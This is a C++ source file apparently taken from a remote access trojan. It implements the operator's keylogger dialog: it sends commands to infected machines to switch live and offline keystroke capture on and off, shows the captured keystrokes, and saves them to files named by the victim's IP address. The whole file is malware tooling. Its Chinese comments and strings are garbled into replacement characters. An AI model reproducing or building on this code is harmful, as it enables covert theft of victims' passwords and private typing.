2024-06-23 17:36:53 +08:00

292 lines
7.3 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// KeyBoardDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Client.h"
#include "KeyBoardDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
BOOL addlog =TRUE;
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CKeyBoardDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CKeyBoardDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_WEBCAM));
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
}
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit);
DDX_Control(pDX, IDC_OLKEYLOG, m_olkeylog);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
//{{AFX_MSG_MAP(CKeyBoardDlg)
ON_WM_SYSCOMMAND()
ON_WM_CLOSE()
ON_WM_SIZE()
ON_BN_CLICKED(IDC_SENDKEY, OnSendkey)
ON_BN_CLICKED(IDC_DELKEY, OnDelkey)
ON_BN_CLICKED(IDC_SAVEKEY, OnSavekey)
ON_BN_CLICKED(IDC_OLKEYLOG, OnOlkeylog)
ON_WM_CTLCOLOR()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg message handlers
BOOL CKeyBoardDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
SetDlgItemText(IDC_STATICKEY, "Test:\r\n");
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
m_edit.SetLimitText(MAXDWORD); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>󳤶<EFBFBD>
UpdateTitle();
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
GetDlgItem(IDC_SENDKEY)->EnableWindow(FALSE);
m_olkeylog.SetCheck(TRUE);
return TRUE;
}
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if (nID == IDM_ENABLE_OFFLINE)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_bIsOfflineRecord = !m_bIsOfflineRecord;
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
}
UpdateTitle();
}
else if (nID == IDM_CLEAR_RECORD)
{
BOOL addlog =TRUE;
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_edit.SetWindowText("");
}
else if (nID == IDM_SAVE_RECORD)
{
SaveRecord();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
void CKeyBoardDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
default:
// <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>
SendException();
break;
}
}
void CKeyBoardDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CKeyBoardDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
HBRUSH CKeyBoardDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
int nCtrlID = pWnd->GetDlgCtrlID();
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
if ((nCtrlID == IDC_EDIT_LOG) && (nCtlColor == CTLCOLOR_EDIT))
{
COLORREF clr = RGB(0, 255, 0);
pDC->SetTextColor(clr); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ı<EFBFBD>
clr = RGB(0,0,0);
pDC->SetBkColor(clr); //<2F><><EFBFBD>ú<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
hbr = CreateSolidBrush(clr); //<2F><>ΪԼ<CEAA><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><D8B1><EFBFBD>ɫ<EFBFBD><C9AB>Ӧ<EFBFBD><D3A6>ˢ<EFBFBD>Ӿ<EFBFBD><D3BE><EFBFBD>
}
else if ((nCtrlID==IDC_EDIT_HOST ||nCtrlID==IDC_EDIT_PORT) && m_lanpenetrate)
{
COLORREF clr = RGB(255, 0, 0);
pDC->SetTextColor(clr); //<2F><>͸<EFBFBD><CDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ı<EFBFBD>
}
return hbr;
}
void CKeyBoardDlg::AddKeyBoardData()
{
if(!addlog)
{
addlog=TRUE;
return;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
m_edit.SetWindowText("");
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
m_edit.ReplaceSel((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
}
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
}
void CKeyBoardDlg::ResizeEdit()
{
// RECT rectClient;
// RECT rectEdit;
// GetClientRect(&rectClient);
// rectEdit.left = 0;
// rectEdit.top = 0;
// rectEdit.right = rectClient.right;
// rectEdit.bottom = rectClient.bottom;
// m_edit.MoveWindow(&rectEdit);
}
void CKeyBoardDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
delete this;
CDialog::PostNcDestroy();
}
bool CKeyBoardDlg::SaveRecord()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "(*.txt)|*.txt|", this);
if(dlg.DoModal () != IDOK)
return false;
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
{
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
return false;
}
// Write the DIB header and the bits
CString strRecord;
m_edit.GetWindowText(strRecord);
file.Write(strRecord, strRecord.GetLength());
file.Close();
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD>");
return true;
}
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
{
return true;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CKeyBoardDlg::UpdateTitle()
{
CString str;
str.Format("<EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼ \\\\ %s", m_IPAddress);
SetWindowText(str);
}
void CKeyBoardDlg::OnSendkey()
{
// TODO: Add your control notification handler code here
m_edit.SetWindowText("");//<2F>Ƚ<EFBFBD><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bToken = COMMAND_SEND_KEYBOARD;
m_iocpServer->Send(m_pContext, &bToken, 1);
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͳɹ<EFBFBD><EFBFBD><EFBFBD>");
}
void CKeyBoardDlg::OnDelkey()
{
// TODO: Add your control notification handler code here
addlog=FALSE;
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_edit.SetWindowText("");
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͳɹ<EFBFBD><EFBFBD><EFBFBD>");
}
void CKeyBoardDlg::OnSavekey()
{
// TODO: Add your control notification handler code here
SaveRecord();
}
void CKeyBoardDlg::OnOlkeylog()
{
// TODO: Add your control notification handler code here
if(m_olkeylog.GetCheck())
{
GetDlgItem(IDC_SENDKEY)->EnableWindow(FALSE);
SetDlgItemText(IDC_STATICKEY,"ʵʱ<EFBFBD><EFBFBD>ȡ<EFBFBD>ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
BYTE bToken = COMMAND_KEYBOARD_OLKEYLOG;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
else
{
GetDlgItem(IDC_SENDKEY)->EnableWindow(TRUE);
SetDlgItemText(IDC_STATICKEY,"ʵʱ<EFBFBD><EFBFBD>ȡ<EFBFBD>ѹرգ<EFBFBD>");
BYTE bToken = COMMAND_KEYBOARD_OLKEYLOG_OFF;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
}